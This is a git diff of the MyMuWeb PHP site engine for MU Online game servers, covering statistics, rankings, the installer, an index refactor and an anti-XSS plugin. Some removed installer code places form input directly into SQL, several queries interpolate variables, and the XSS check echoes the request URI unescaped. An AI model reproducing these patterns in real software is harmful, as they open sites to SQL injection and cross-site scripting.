$mmw['server_timeout'] < time()) { + $_ENV['mmw_cache']['server_cache'] = array(); + } + while ($row = mssql_fetch_assoc($serverQuery)) { + if (!$row['total_online']) { + $row['total_online'] = 0; + } + $serverAddress = $row['ip'] . ':' . $row['gsport']; + if (!isset($_ENV['mmw_cache']['server_cache'][$serverAddress])) { + $_ENV['mmw_cache']['server_cache'][$serverAddress] = false; + $_ENV['mmw_cache']['server_cache']['timeout'] = time(); + if ($check = @fsockopen($row['ip'], $row['gsport'], $errorCode, $errorMessage, 0.5)) { + $_ENV['mmw_cache']['server_cache'][$serverAddress] = true; + fclose($check); + } + } + $status = $_ENV['mmw_cache']['server_cache'][$serverAddress]; + + $row['html_status'] = 'status ' + . '' . ($status ? mmw_lang_serv_online : mmw_lang_serv_offline) . ''; + + $server[] = $row; + } + + switch ($style) { + case 'main': + $labels = array( + 'on_server' => mmw_lang_on_server, + 'version' => mmw_lang_version, + 'experience' => mmw_lang_experience, + 'drops' => mmw_lang_drops, + ); + + echo ''; + foreach ($server as $index => $row) { + $bar = ceil($row['total_online'] * 10 / $row['maxplayer']); + echo << +
{$row['Name']} ({$row['type']})
+
+
{$labels['on_server']}:{$row['total_online']}
{$labels['version']}:{$row['version']}
{$labels['experience']}:{$row['experience']}
{$labels['drops']}:{$row['drops']}
+
+HTML; + } + return true; + case 'blink': + case 'fullblink': + $data = array( + mmw_lang_total_accounts . ': ' . $total_accounts . '
' + . mmw_lang_total_characters . ': ' . $total_characters . '
' + . mmw_lang_total_banneds . ': ' . $total_banneds . '
' + . mmw_lang_total_actives . ': ' . $actives_acc . '
' + . mmw_lang_total_guilds . ': ' . $total_guilds . '
' + . mmw_lang_total_users_online . ': ' . $users_connected + ); + foreach ($server as $row) { + $data[] = $row['Name'] . '
' + . mmw_lang_version . ': ' . $row['version'] . '
' + . mmw_lang_experience . ': ' . $row['experience'] . '
' + . mmw_lang_drops . ': ' . $row['drops'] . '
' + . mmw_lang_type . ': ' . $row['type'] . '
' + . $row['html_status']; + } + + $_ENV['fader'] = isset($_ENV['fader']) ? ++$_ENV['fader'] : 1; + $json = json_encode($data); + if ($style === 'blink') { + echo 'fader[2].message = ' . $json . ';'; + return true; + } + + echo << + + +HTML; + return true; + case 'default': + foreach ($server as $row) { + $helpLink = mmw_lang_version . ': ' . $row['version'] . '
' + . mmw_lang_experience . ': ' . $row['experience'] . '
' + . mmw_lang_drops . ': ' . $row['drops'] . '
' + . mmw_lang_type . ': ' . $row['type']; + + echo '' . $row['Name'] . ': ' . $row['html_status'] . '
' + . mmw_lang_on_server . ' ' . $row['total_online'] . ' ' . mmw_lang_char . '
'; + } + echo PHP_EOL . mmw_lang_total_users_online . ': ' . $users_connected . '
' + . mmw_lang_total_accounts . ': ' . $total_accounts . '
' + . mmw_lang_total_characters . ': ' . $total_characters . '
' + . mmw_lang_total_banneds . ': ' . $total_banneds . '
' + . mmw_lang_total_actives . ': ' . $actives_acc . '
' + . mmw_lang_total_guilds . ': ' . $total_guilds . '
'; + return true; + } + + return false; +} +/////// End Statisitcs /////// + + +/////// Start TOP List /////// +function top_list($what = null, $top = null) +{ + global $mmw; + if (empty($what)) { + $what = 'char'; + } + if (empty($top)) { + $top = '5'; + } + $withoutGM = !empty($mmw['gm_show']) + ? ' WHERE CtlCode < 8' + : ''; + + echo ''; + + switch ($what) { + case 'char': + $isReset = false; + $list = ''; + $index = 1; + + $query = mssql_query("SELECT TOP {$top} Name,cLevel,{$mmw['reset_column']} FROM dbo.Character {$withoutGM} ORDER BY {$mmw['reset_column']} desc, cLevel DESC"); + while($row = mssql_fetch_assoc($query)) { + if (!empty($row[$mmw['reset_column']])) { + $isReset = true; + } + $topResult = $isReset + ? '' . $row[$mmw['reset_column']] . '' + : $row['cLevel']; + $list .= ''; + } + echo '' . $list; + + break; + case 'pk': + $query = mssql_query("SELECT TOP {$top} Name,PKcount FROM dbo.Character {$withoutGM} ORDER BY pkcount DESC"); + echo ''; + + $index = 1; + while ($row = mssql_fetch_assoc($query)) { + echo ''; + } + + break; + case 'guild': + $query = mssql_query("SELECT TOP {$top} G_Name,G_Score FROM dbo.Guild WHERE G_Name!='{$mmw['gm_guild']}' ORDER BY G_score DESC"); + echo ''; + + $index = 1; + while ($row = mssql_fetch_assoc($query)) { + echo ''; + } + break; + case 'ref': + $query = mssql_query("SELECT TOP {$top} ref_acc,count(ref_acc) AS total FROM dbo.MEMB_INFO WHERE ref_acc<>'' GROUP BY ref_acc ORDER BY total DESC"); + echo ''; + + $index = 1; + while ($row = mssql_fetch_assoc($query)) { + echo ''; + } + break; + case 'best': + $strongRow = mssql_fetch_assoc(mssql_query("SELECT TOP 1 Name FROM dbo.Character {$withoutGM} ORDER BY strength DESC, dexterity DESC, vitality DESC, energy DESC, Leadership DESC")); + $strong = empty($strongRow['Name']) + ? '---' + : '' . $strongRow['Name'] . ''; + echo ''; + break; + } + echo '
' . ($index++) . '' . $row['Name'] . '' . $topResult . '
#' . mmw_lang_character . '' . ($isReset ? mmw_lang_reset : mmw_lang_level) . '
#' . mmw_lang_character . '' . mmw_lang_killed . '
' . ($index++) . '' . $row['Name'] . '' . $row['PKcount'] . '
#' . mmw_lang_guild . '' . mmw_lang_score . '
' . ($index++) . '' . $row['G_Name'] . '' . $row['G_Score'] . '
#' . mmw_lang_account . '' . mmw_lang_referral . '
' . ($index++) . '' . $row['ref_acc'] . '' . $row['total'] . '
' . mmw_lang_very_strong . ': ' . $strong . ''; + + $withoutGMAnd = str_replace('WHERE', 'AND', $withoutGM); + if (empty($mmw['characters_class'])) { + $mmw['characters_class'] = 7; + } + for ($i = 0; $i < $mmw['characters_class']; $i++) { + $class = $i * 16; + $classRow = mssql_fetch_assoc(mssql_query("SELECT TOP 1 Name FROM dbo.Character WHERE (class BETWEEN $class AND " . ($class + 15) . ") {$withoutGMAnd} ORDER BY strength DESC, dexterity DESC, vitality DESC, energy DESC, Leadership DESC")); + $strongClass = empty($classRow['Name']) + ? '---' + : '' . $classRow['Name'] . ''; + echo '
» ' . char_class($class, 'full') . ': ' . $strongClass; + } + + $gamerRow = mssql_fetch_assoc(mssql_query("SELECT TOP 1 + ms.memb___id, + ac.GameIDC + FROM dbo.MEMB_STAT AS ms + LEFT JOIN dbo.AccountCharacter AS ac ON ac.Id COLLATE DATABASE_DEFAULT = ms.memb___id COLLATE DATABASE_DEFAULT + WHERE ms.ConnectStat = '1' ORDER BY ms.ConnectTM")); + $gamer = empty($gamerRow['GameIDC']) + ? '---' + : '' . $gamerRow['GameIDC'] . ''; + + $guildRow = mssql_fetch_assoc(mssql_query("SELECT TOP 1 G_Name FROM dbo.Guild WHERE G_Name!='{$mmw['gm_guild']}' ORDER BY G_Score DESC")); + $bestGuild = empty($guildRow['G_Name']) + ? '---' + : '' . $guildRow['G_Name'] . ''; + + echo '
' . mmw_lang_best_gamer . ': ' . $gamer . '
' . mmw_lang_best_guild . ': ' . $bestGuild . '
'; +} +/////// End TOP List /////// + + +/////// Start Pop Under ////// +/** + * @deprecated Remove this code from template + */ +function popunder() +{ + echo ''; +} +/////// End Pop Under /////// + + +/////// Start MP3 Player ////// +function mp3_player() +{ + /** @noinspection PhpUnusedLocalVariableInspection */ + global $media_color, $text_color, $mmw; + if ($mmw['mp3_player']) { + require __DIR__ . '/../media/player.php'; + } +} +/////// End MP3 Player /////// + + +/////// Start MMW End ////// +function end_mmw() +{ + global $mmw; + $timeStart = unserialize(TIME_START); + $timeEnd = gettimeofday(); + $execTime = ($timeEnd['sec'] + ($timeEnd['usec'] / 1000000)) - ($timeStart['sec'] + ($timeStart['usec'] / 1000000)); + echo 'MyMuWeb ' . $mmw['version'] . ' by Vaflan. Generation Time: ' . substr($execTime, 0, 5) . 's.'; +} +/////// End MMW End /////// diff --git a/includes/times.php b/includes/times.php index 6177cd3..64901c9 100644 --- a/includes/times.php +++ b/includes/times.php @@ -1,62 +1,90 @@ -30) {$bcht = $hour+1; $bct = "'".$bcht."','30'";} -else {$bct = "'".$hour."','30'";} - -if($duotime<145) {$cct = "1";} elseif($duotime<345) {$cct = "3";} -elseif($duotime<545) {$cct = "5";} elseif($duotime<745) {$cct = "7";} -elseif($duotime<945) {$cct = "9";} elseif($duotime<1145) {$cct = "11";} -elseif($duotime<1345) {$cct = "13";} elseif($duotime<1545) {$cct = "15";} -elseif($duotime<1745) {$cct = "17";} elseif($duotime<1945) {$cct = "19";} -elseif($duotime<2145) {$cct = "21";} else {$cct = "23";} - -if($duotime<100) {$dst = "1";} elseif($duotime<300) {$dst = "3";} -elseif($duotime<500) {$dst = "5";} elseif($duotime<700) {$dst = "7";} -elseif($duotime<900) {$dst = "9";} elseif($duotime<1100) {$dst = "11";} -elseif($duotime<1300) {$dst = "13";} elseif($duotime<1500) {$dst = "15";} -elseif($duotime<1700) {$dst = "17";} elseif($duotime<1900) {$dst = "19";} -elseif($duotime<2100) {$dst = "21";} else {$dst = "23";} - -if($duotime<100) {$get = "1";} elseif($duotime<400) {$get = "4";} -elseif($duotime<700) {$get = "7";} elseif($duotime<1000) {$get = "10";} -elseif($duotime<1300) {$get = "13";} elseif($duotime<1600) {$get = "16";} -elseif($duotime<1900) {$get = "19";} elseif($duotime<2200) {$get = "22";} -?> - - +">
-Devil Square: Error: Turn On JavaScript
-Blood Castle: Error: Turn On JavaScript
-Chaos Castle: Error: Turn On JavaScript
+$bct = ($minutes >= 30) + ? $hour + 1 + : $hour; - + diff --git a/includes/validate.class.php b/includes/validate.class.php deleted file mode 100644 index d7c4d21..0000000 --- a/includes/validate.class.php +++ /dev/null @@ -1,430 +0,0 @@ - string, // all - 'type' => string, // text or select - // text covers html types: text, textarea, hidden, password - // select covers html types: select, checkbox and radio - 'label' => string, // field label ( eg. 'Phone number' ) - 'required' => boolean, // field must have value - 'cont' => string, // content type: email, word, alpha, digit - 'ereg' => string, // text, textarea - 'preg' => string, // text, textarea - 'len' => integer, // accurate length - 'len_min' => integer, // min length - 'len_max' => integer, // max length - 'val_max' => integer, // max value of an integer ( use with cont == digit ) - 'val_min' => integer, // min value of an integer ( use with cont == digit ) - 'values' => array; // select accepted values - 'forbid' => array; // forbidden values that match other criteria - 'arr_size_min' => integer // when field name is an array( eg. 'phones[]' ) - // minimum number of elements in array - // Fields dependencies - - - 'eqal' => mixed, // array or string, - // value of this field must be equal to value of field in array() - // eg. in when there are two password boxes either array or string - 'with' => mixed, // array or string, value must exist with other value(s) - 'alt_or' => mixed, // array or string, at least one of fields must have a value - 'alt_xor' => mixed // array or string, only one field must have a value -); -*/ -class FormValidator { - - /** - * Form definition - * - * @var array - * @access private - */ - var $elems = array(); - - /** - * If error occured while validation - * - * @var boolean - * @access private - */ - var $err = false; - - /** - * Validation status for each field - * - * @var array - * @access private - */ - var $validElems = array(); - - /** - * Fields that need dependency check - * - * @var array - * @access private - */ - var $secPhase = array(); - - - /** - * Constructor - * - * @param mixed $elems form definition - * @access public - * @return void - */ - function FormValidator(&$elems) { - if ( is_array($elems) ) { - // hmm... - is_array($elems[0]) ? $this->elems = $elems : $this->elems[] = $elems; - } - } - - - /** - * Validates Form - * - * @param array $request - $_GET, $_POST, $_SESSION or other data - * @access public - * @return boolean true - validation OK, false - validation error - */ - function validate(&$request) { - - // validated elems - $this->validElems = array(); - - $this->err = false; - - // fields that needs dependency check - $this->secPhase = array(); - - - foreach ( $this->elems as $e ) { - $name = $e['name']; - - isset($e['label']) ? null : $e['label'] = null; - - // Field not present in html form - if ( !isset($request[$name]) ) { - $this->_setError($name); continue; - } - - $val = $request[$name]; - - // If field name is an array ( eg. phones[] in example above ) - if ( is_array($val) ) { - if ( !empty($e['arr_size_min']) && $e['arr_size_min'] > 0 ) { - $c = 0; - foreach($val as $v) { - if ( !empty($v) ) { - $c++; - } - } - if ( $c < $e['arr_size_min'] ) { - $this->_setError($name); continue; - } - } - } - // Each value is converted to an array - else { - $val = array($val); - } - - - foreach ( $val as $k => $v ) { - if ( $e['required'] == true && empty($v) ) { - $this->_setError($name, $k, $v, $e['label']); - //$this->validElems[$name][$k] = array($v, false); - continue; - } - elseif ( empty($v) ) { - - $e['validated'] = true; - $this->validElems[$name][$k] = array($v,true); - continue; - } - - - if ( in_array($e['type'], array('text')) ) { - if ( !empty($e['len']) && $e['len'] != strlen($v) ) { - $this->_setError($name, $k, $v, $e['label']); continue; - } - if ( !empty($e['len_min']) && strlen($v) < $e['len_min'] ) { - $this->_setError($name, $k, $v, $e['label']); continue; - } - if ( !empty($e['len_max']) && strlen($v) > $e['len_max'] ) { - $this->_setError($name, $k, $v, $e['label']); continue; - } - if ( !empty($e['val_min']) && $v < $e['val_min'] ) { - $this->_setError($name, $k, $v, $e['label']); continue; - } - if ( !empty($e['val_max']) && $v > $e['val_max'] ) { - $this->_setError($name, $k, $v, $e['label']); continue; - } - if ( !empty($e['ereg']) && !ereg($e['ereg'], $v) ) { - $this->_setError($name, $k, $v, $e['label']); continue; - } - if ( !empty($e['preg']) && !preg_match($e['preg'], $v) ) { - $this->_setError($name, $k, $v, $e['label']); continue; - } - - if ( !empty($e['forbid']) && in_array($v, $e['forbid']) ) { - $this->_setError($name, $k, $v, $e['label']); continue; - - } - - if ( isset($e['cont']) && in_array($e['cont'], array('email', 'alpha', 'word', 'digit')) ) { - $expr = ''; // just temporally - // digits only - if ( $e['cont'] == 'digit' ) { - $expr = "/^\d*$/"; - } - // email verify - elseif ( $e['cont'] == 'email' ) { - if ( !$this->verifyEmail($v) ) { - $this->_setError($name, $k, $v, $e['label']); continue; - } - } - elseif ( $e['cont'] == 'alpha' ) { - $expr = "/^[a-zA-Z0-9\_\-]*$/"; - } - elseif ( $e['cont'] == 'word' ) { - $expr = "/^\w*$/"; - } - - - // del first condition when class would be complete... - if ( !empty($expr) && !preg_match($expr, $v) ) { - $this->_setError($name, $k, $v, $e['label']); continue; - } - } - - if ( !empty($e['with']) ) { - $this->secPhase[] = $e; - } - - if ( !empty($e['equal']) ) { - $this->secPhase[] = $e; - } - - foreach ( array('with', 'equal', 'alt_or', 'alt_xor') as $eq ) { - if ( !empty($e[$eq]) ) { - $this->secPhase[] = $e; - break; - } - } - } - elseif ( $e['type'] == 'select' ) { - if ( isset($e['values']) && !in_array($v, $e['values']) ) { - $this->_setError($name, $k, $v, $e['label']); continue; - } - - foreach ( array('with', 'equal', 'alt_or', 'alt_xor') as $eq ) { - if ( !empty($e[$eq]) ) { - $this->secPhase[] = $e; - break; - } - } - - } - // hmm... - else { - $this->_setError($name, $k, $v, $e['label']); continue; - - } - - $this->validElems[$name][$k] = array($v,true); - } - - } - - - $this->_validateSecondPhase($request); - return $this->err; - } - - - - /* - * Dependency check - * - * @param array array $request - $_GET, $_POST, $_SESSION or other data - * @access private - * @return void - */ - function _validateSecondPhase(&$request) { - foreach ( $this->secPhase as $e ) { - $name = $e['name']; - $val = $request[$name]; - - if ( !is_array($val) ) { - $val = array($val); - } - - - foreach ( $val as $k => $v) { - - if ( isset($e['with']) && is_array($e['with']) ) { - foreach ($e['with'] as $eq) { - if ( !empty($v) && empty($this->validElems[$eq][$k][0]) ) { - $this->_setError($eq, $k, $v, $e['label']); - continue; - } - } - } - elseif ( !empty($e['with']) && !empty($v) && empty($this->validElems[$e['with']][$k][0]) ) { - $this->_setError($e['with'], $k, $v, $e['label']); continue; - } - - - if ( isset($e['equal']) && is_array($e['equal']) ) { - foreach ( $e['equal'] as $eq ) { - if ( $v != $this->validElems[$eq][$k][0] ) { - $this->_setError($name, $k, $v, $e['label']); continue; - } - } - } - elseif ( !empty($e['equal']) && $v != $this->validElems[$e['equal']][$k][0] ) { - $this->_setError($name, $k, $v, $e['label']); continue; - } - - - if ( isset($e['alt_or']) && is_array($e['alt_or']) && empty($v) ) { - $c = 0; - foreach ( $e['alt_or'] as $eq ) { - empty($this->validElems[$e['alt_or']][$k][0]) ? $c++ : null; - } - if ( $c == 0 ) { - $this->_setError($name, $k, $v, $e['label']); continue; - } - } - elseif ( !empty($e['alt_or']) && empty($v) && empty($this->validElems[$e['alt_or']][$k][0]) ) { - $this->_setError($e['with'], $k, $v, $e['label']); continue; - } - - - if ( isset($e['alt_xor']) && is_array($e['alt_xor']) ) { - $c = 0; - foreach ( $e['alt_xor'] as $eq ) { - empty($this->validElems[$e['alt_xor']][$k][0]) ? null : $c++; - } - - if ( empty($v) && $c != 1 ) { - $this->_setError($e['with'], $k, $v, $e['label']); continue; - } - elseif ( !empty($v) && $c > 0 ) { - $this->_setError($e['with'], $k, $v, $e['label']); continue; - } - } - elseif ( !empty($e['alt_xor']) ) { - if ( empty($v) && empty($this->validElems[$e['alt_xor']][$k][0]) ) { - $this->_setError($e['with'], $k, $v, $e['label']); continue; - } - elseif ( !empty($v) && !empty($this->validElems[$e['alt_xor']][$k][0]) ) { - $this->_setError($e['with'], $k, $v, $e['label']); continue; - } - } - - - } - } - } - - - /** - * Email verification - * - * @param string $email - * @access private - * @return boolean true if OK otherwise false - */ - function verifyEmail($email) { - $expr = '/^(.+)@(([a-z0-9\.-]+)\.[a-z]{2,5})$/i'; - $uexpr = "/^[a-z0-9\~\!\#\$\%\&\(\)\-\_\+\=\[\]\;\:\'\"\,\.\/]+$/i"; - if (preg_match($expr, $email, $regs)) { - $username = $regs[1]; - $host = $regs[2]; - //if (checkdnsrr($host, MX)) { - if (preg_match($uexpr, $username)) { - return true; - } - else { - return false; - } - //} - //else { - // return false; - //} - } - else { - return false; - } - } - - - /** - * WARNING ! - * Function name will be changed in future releases - * - * Highlight field/text with Smarty - if you don't use smarty it's quite useless... - * - * - * @param object $s - Smarty object - * @param string $class_name - a css class name to assign - * @access public - * @return void - */ - function assignErrorClass() { - foreach ( $this->validElems as $k => $v ) { - - foreach ( $v as $k1 => $v1) { - echo $v[name]; - if ( $v1[1] === false ) { - $err_c[] = $v1[0]; - - } - - } - - } - - //$s->assign('err_c', $err_c); - return $err_c; - } - - /** - * WARNING ! - * Function name may be changed in future releases - * - * Setting error - * - * @param string $name field name - * @param integer $k key value usually 0 until field name is an array ( eg. phones[]) - * @param string $value field value - * @param string $label - field label - * @access private - * @return void - */ - function _setError($name, $k=0, $value = '', $label = '') { - - $this->validElems[$name][$k] = array($value, false, $label); - $this->err = true; - } - - /** - * get array with validation result - * - * @access public - * @return array - array with validation result for each field - */ - function getValidElems() { - return $this->validElems; - } -} - - -?> \ No newline at end of file diff --git a/includes/xss_check.php b/includes/xss_check.php index 2fd5979..aaeb07e 100644 --- a/includes/xss_check.php +++ b/includes/xss_check.php @@ -2,30 +2,22 @@ /* Plugin Name: Anti-XSS attack Plugin URI: http://maxsite.org/anti-xss-attack -Description: / XSS- ( /maxsite.org ). WP 2.5. +Description: / XSS- ( /maxsite.org). MMW. Author: Yuri 'Bela' Belotitski Version: 0.5 beta @ 02.06.2008 Author URI: http://www.portal.khakrov.ua/ +Modified by Vaflan 19.10.2010 */ +if (isset($_SERVER['HTTP_REFERER'])) { + $parse = parse_url($_SERVER['HTTP_REFERER']); -function htauth() -{ - if (strpos($_SERVER['REQUEST_URI'], 'wp-admin') === false ) return; - if (strpos($_SERVER['REQUEST_URI'], 'async-upload.php') != false ) return; - - $p = parse_url($_SERVER['HTTP_REFERER']); - $p = $p['host']; - - if ( $p != $_SERVER['HTTP_HOST'] ) - { - if ($_POST) die('Achtung! XSS attack!'); - if ($_GET) die('Achtung! XSS attack?
Confirm transition: ' - . $_SERVER['REQUEST_URI'] . ''); - } + if ($parse['host'] !== $_SERVER['HTTP_HOST']) { + if ($_POST) { + die('
Achtung! XSS attack!
'); + } + if ($_GET) { + die('
Achtung! XSS attack?
Confirm transition: ' . $_SERVER['REQUEST_URI'] . ''); + } + } } - -htauth(); - -?> \ No newline at end of file diff --git a/index.php b/index.php index 58c73aa..2a54d0e 100644 --- a/index.php +++ b/index.php @@ -1,82 +1,89 @@ -".urldecode('http://'.$_SERVER["SERVER_ADDR"].$_SERVER["REQUEST_URI"]).""); -} - -// Check For Installed -if(is_file("includes/installed.php")) { - include("includes/installed.php"); -} -else { - header('Location: install.php'); -} +/** + * @var array $mmw + * @var string $die_start + * @var string $die_end + * @var resource $mssql_connect + */ +require_once __DIR__ . '/config.php'; +require_once __DIR__ . '/includes/sql_check.php'; +require_once __DIR__ . '/includes/xss_check.php'; +require_once __DIR__ . '/includes/engine.php'; // Start Header -if(is_file("$mmw[theme_dir]/header.php")) { - include("$mmw[theme_dir]/header.php"); -} -else { - die("$sql_die_start ErroR Theme!
Cant find $mmw[theme_dir]/header.php! $sql_die_end"); +if (is_file($mmw['theme_dir'] . '/header.php')) { + require_once $mmw['theme_dir'] . '/header.php'; +} else { + die($mmw['die']['start'] . 'Theme error!
Can`t find ' . $mmw['theme_dir'] . '/header.php!' . $mmw['die']['end']); } // Start Body -if(isset($_GET[news])) { - include("modules/news_full.php"); -} -elseif(isset($_GET[forum])) { - include("modules/forum_full.php"); -} -elseif(isset($_GET[op])) { - $op = preg_replace("/[^a-zA-Z0-9_-]/",'',$_GET[op]); - if(is_file("modules/$op.php")) {include("modules/$op.php");} - elseif(is_file("modules/$op.mmw")) {mmw("modules/$op.mmw");} - else {echo "$die_start Request is False!
Now we have your IP Address! $die_end";} -} -else { - if(is_file("modules/$mmw[home_page].php")) {include("modules/$mmw[home_page].php");} - elseif(is_file("modules/$mmw[home_page].mmw")) {mmw("modules/$mmw[home_page].mmw");} +$moduleDirectory = __DIR__ . '/modules/'; +if (isset($_GET['news'])) { + require_once $moduleDirectory . 'news_full.php'; +} elseif (isset($_GET['forum'])) { + require_once $moduleDirectory . 'forum_full.php'; +} elseif (isset($_GET['op'])) { + $op = preg_replace('/[^\w_-]/', '', $_GET['op']); + if (is_file($moduleDirectory . $op . '.php')) { + require_once $moduleDirectory . $op . '.php'; + } elseif (is_file($moduleDirectory . $op . '.mmw')) { + mmw($moduleDirectory . $op . '.mmw'); + } elseif (is_file($moduleDirectory . $op . '.html')) { + echo file_get_contents($moduleDirectory . $op . '.html'); + } else { + echo $die_start . 'Request is False!
Now we have your IP Address!' . $die_end; + } +} else { + $splitFileName = explode('.', $mmw['home_page']); + switch (end($splitFileName)) { + case 'php': + require_once $moduleDirectory . $mmw['home_page']; + break; + case 'mmw': + mmw($moduleDirectory . $mmw['home_page']); + break; + default: + echo @file_get_contents($moduleDirectory . $mmw['home_page']); + break; + } } // Start Pop Under -if($mmw[popunder]=='yes' && $mmw[popunder_check]=='yes' && empty($_SESSION[user])) { - mmw("includes/popunder.mmw"); -} -elseif($mmw[popunder]=='yes' && $mmw[popunder_check]!='yes') { - mmw("includes/popunder.mmw"); -} -else { - echo ""; +if ($mmw['popunder']) { + if (!$mmw['popunder_check'] || ($mmw['popunder_check'] && empty($_SESSION['user']))) { + mmw('includes/pop_under.mmw'); + } } -// ADS by Vaflan -if($mmw['thm_name']!='Default' && $mmw['thm_version']!='2.0' && $mmw['thm_creator']!='Vaflan') { -echo '
'; -echo ''; -echo ''; -echo '
';} +// ADS for Vaflan +if (filectime(__DIR__ . '/includes/installed.php') + 604800 < time()) { + echo << + + +HTML; +} // Start Footer -if(is_file("$mmw[theme_dir]/footer.php")) { - include("$mmw[theme_dir]/footer.php"); -} -else { - die("$sql_die_start ErroR Theme!
Cant find $mmw[theme_dir]/footer.php! $sql_die_end"); +if (is_file($mmw['theme_dir'] . '/footer.php')) { + require_once $mmw['theme_dir'] . '/footer.php'; +} else { + die($mmw['die']['start'] . 'Theme error!
Can`t find ' . $mmw['theme_dir'] . '/footer.php!' . $mmw['die']['die']); } +if (!empty($_ENV['mmw_cache'])) { + $data = json_encode($_ENV['mmw_cache']); + if ($_ENV['mmw_cache_raw'] !== $data && is_writable(__DIR__ . '/includes/mmw_cache.dat')) { + file_put_contents(__DIR__ . '/includes/mmw_cache.dat', $data); + } +} mssql_close($mssql_connect); ob_end_flush(); -?> \ No newline at end of file diff --git a/install.php b/install.php index f6784e1..4a4e6b9 100644 --- a/install.php +++ b/install.php @@ -1,200 +1,284 @@ - + - + - -MyMuWeb <?echo $mmw[version];?> Install by Vaflan + + MyMuWeb <?php echo $mmw['version']; ?> Install by Vaflan + + - -
- -Go To Normal Install $sql_die_end"); -} - -// START PAGE -if($pg=='1' || $pg=='') { - echo "$sql_die_start Install Page 1
Welcome To Installer MMW $mmw[version]!
Next Page You Install Table's and Column's
Next -> $sql_die_end"; - $data = ""; - $install_data = fopen("includes/installed.php",'w'); - fputs($install_data, $data); - fclose($install_data); -} - - - -// NEXT PAGE -elseif($pg=='2') { - $md5_select[$mmw[md5]] = 'selected'; - $md5_check = ""; - $result = @mssql_query("SELECT data_type FROM information_schema.columns WHERE table_name='MEMB_INFO' AND column_name='memb__pwd'"); - $row = @mssql_fetch_row($result); - if($row[0] == 'varbinary') {$md5_info = "DataBase use MD5 Column!
Please Choose MD5 - Yes.";} - else {$md5_info = "DataBase don't support MD5!
Please Choose MD5 - No.";} - echo "$sql_die_start Install Page 2
In 'config.php' Now MD5: $md5_check
$md5_info
Next -> $sql_die_end"; -} - - - -// NEXT PAGE -elseif($pg=='3') { - - if($_POST[md5] != $mmw[md5]) { - $cfg_file = 'config.php'; - $cfg_open = fopen($cfg_file, "r"); - $cfg_db = fread($cfg_open,filesize($cfg_file)); - fclose($cfg_open); - - $cfg_db = str_replace("\$mmw[md5] = '$mmw[md5]';","\$mmw[md5] = '$_POST[md5]';",$cfg_db); - $mmw[md5] = $_POST[md5]; - - $cfg_write = fopen($cfg_file, "w"); - fwrite($cfg_write, stripslashes($cfg_db)); - fclose($cfg_write); - } - - echo "$sql_die_start Install Page 3
Table's and Column's Install End! [Show]
Next Page You Create Admin
Next -> $sql_die_end"; - - echo "'; -} - - - - - -// NEXT PAGE -elseif($pg=='4') { - $sql = mssql_query("Select memb___id FROM mEMB_INFO"); - $users = ""; - - for($i=0; $i < mssql_num_rows($sql); ++$i) { - $row = mssql_fetch_row($sql); - $users = $users.""; - } - echo "$sql_die_start Install Page 4
Select User For Admin!
$sql_die_end"; -} - - - - - - -// NEXT PAGE -elseif($pg=='5') { - $login = $_POST['user']; - $password = $_POST['pass']; - - if(empty($login)) { - echo "$sql_die_start Install Page 5
No Selected!
If you need Admin, go Back
Back $sql_die_end"; - } - elseif($login!='register') { - if($mmw['md5'] == yes && isset($password)) { - mssql_query("INSERT INTO MEMB_INFO (memb___id,memb__pwd,memb_name,sno__numb,mail_addr,appl_days,modi_days,out__days,true_days,mail_chek,bloc_code,ctl1_code,memb__pwd2,fpas_ques,fpas_answ,country,gender,hide_profile,ref_acc) VALUES ('$login',[dbo].[fn_md5]('$password','$login'),'Admin','1234','admin@mmw.net',GETDATE(),GETDATE(),'2008-12-20','2008-12-20','1','0','0','$password','WhoYouAre','admin','0','male','0','0')"); + + + + + + Install only For IP: 127.0.0.1 or LocalHost
+ Go To Normal Install + '); endif; ?> + + + Install page 1
+ Welcome to installer MMW !
+ Next page you install tables and columns
+ + + WARNING!
+ The site has already been installed. +

+ +
+ + +
+ + + Install page 2
+ +
+
+
+
+ Please Choose MD5 - . +
+ +
+
+ + + Install page 3
+ + + Tables and columns install end! + [Show]
+ On the next page you can choose the site administrator
+
+ +
+ + + + + Install page 4
+ + Select user for admin!
+
+ +
+ +
+
+ + + Install page 5
+ + + + User not selected!
+ If you need Admin, go back
+
+ + +
+ +
+ + +
+ +
+
+ + + Admin created!
+ Now is the admin in the MyMuWeb
+
+ +
+ + + + Complete mistake! + + + \ No newline at end of file diff --git a/lang/English.php b/lang/English.php index 9e30b09..acc5325 100644 --- a/lang/English.php +++ b/lang/English.php @@ -1,407 +1,409 @@ -Currently:"); -define('mmw_lang_max_point',"Character Have Maximum Point!"); -define('mmw_lang_character_stats_added',"Character Has Been SuccessFully Stats Added!
Points Left To Add:"); -define('mmw_lang_is_not_killer',"Is Not a Killer, 2nd Level Killer Or a Phono!"); -define('mmw_lang_clean_pk_need',"To Clear Pk Need"); -define('mmw_lang_character_cleared',"Character Has Been SuccessFully Cleared!"); -define('mmw_lang_invalid_current_password',"Current Password Is Invalid (4-10 Alpha-Numeric Characters)"); -define('mmw_lang_invalid_new_password',"New Password Is Invalid (4-10 Alpha-Numeric Characters)"); -define('mmw_lang_old_and_new_password',"The Current Password And The New One Are The Same!"); -define('mmw_lang_password_changed',"Password SuccessFully Changed!"); -define('mmw_lang_question_or_answer_incorrect',"Secret Question Or Answer Is Incorrect!"); -define('mmw_lang_your_password',"Change It A Fast As You Can!!!
Your Password Is:"); -define('mmw_lang_profile_edited',"Profile SuccessFully Edited!"); -define('mmw_lang_move_need',"To Move Need"); -define('mmw_lang_character_moved',"Character SuccessFully Moved!"); -define('mmw_lang_zen_must_be_number',"Zen must be a positive number!"); -define('mmw_lang_zen_cant_move',"Zen Can't Move, because From = To!"); -define('mmw_lang_not_Zen_to_move',"Not Enough Zen, To Move!"); -define('mmw_lang_zen_more_max',"Zen is superfluous, it's more:"); -define('mmw_lang_zen_moved',"Zen SuccessFully Moved!"); -define('mmw_lang_cant_sent_comment_need_wait',"You have sent the comment, please wait:"); -define('mmw_lang_comment_sent',"Comment SuccessFully Sent!"); -define('mmw_lang_comment_deleted',"Comment SuccessFully Deleted!"); -define('mmw_lang_cant_or_alread_delete',"You Can't Edit, or is already delete!"); -define('mmw_lang_topic_status',"Topic Status SuccessFully Changed!"); -define('mmw_lang_topic_sent',"Topic SuccessFully sent!"); -define('mmw_lang_topic_deleted',"Topic SuccessFully Deleted!"); -define('mmw_lang_request_sent',"Request SuccessFully Sent!"); -define('mmw_lang_item_not_find',"Item Not Find, or is already delete!"); -define('mmw_lang_no_zen_to_sell_item',"Not Enough Zen in ExtraWareHouse, To Sell Item!"); -define('mmw_lang_item_sold',"Item SuccessFully Sold!"); -define('mmw_lang_no_zen_to_buy_item',"Not 